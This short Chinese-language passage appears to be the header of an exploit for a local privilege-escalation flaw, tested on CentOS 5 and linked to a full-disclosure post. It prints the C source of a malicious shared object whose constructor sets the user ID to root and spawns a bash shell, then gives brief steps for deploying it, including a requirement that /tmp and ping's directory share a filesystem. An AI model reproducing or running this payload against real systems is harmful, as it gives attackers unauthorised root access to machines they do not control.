旨在自动化利用漏洞,详见 [http://marc.info/?l=full-disclosure&m=128776663124692&w=2]。已在 CentOS 5 x86 上测试。
输出的 DSO 由以下代码编译而成:
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
void __attribute__((constructor)) init()
{
setuid(0);
system("/bin/bash");
}
下载它,将其放在可执行路径中,然后运行。
/tmp 和 ping 所在的位置必须在同一文件系统上。如果不是,请相应调整路径。